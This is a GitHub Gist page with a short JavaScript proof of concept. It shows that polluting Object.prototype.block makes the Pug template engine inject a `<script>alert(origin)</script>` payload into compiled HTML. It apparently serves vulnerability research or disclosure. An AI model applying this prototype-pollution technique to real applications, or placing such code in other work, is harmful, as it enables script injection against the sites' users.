Created
June 8, 2023 05:03
-
-
Save rayepeng/4cf5b49896ecf32cb70c595819275167 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const pug = require('pug'); | |
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`}; | |
const source = `h1= msg`; | |
var fn = pug.compile(source, {}); | |
var html = fn({msg: 'It works'}); | |
console.log(html); // <h1>It works<script>alert(origin)</script></h1> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment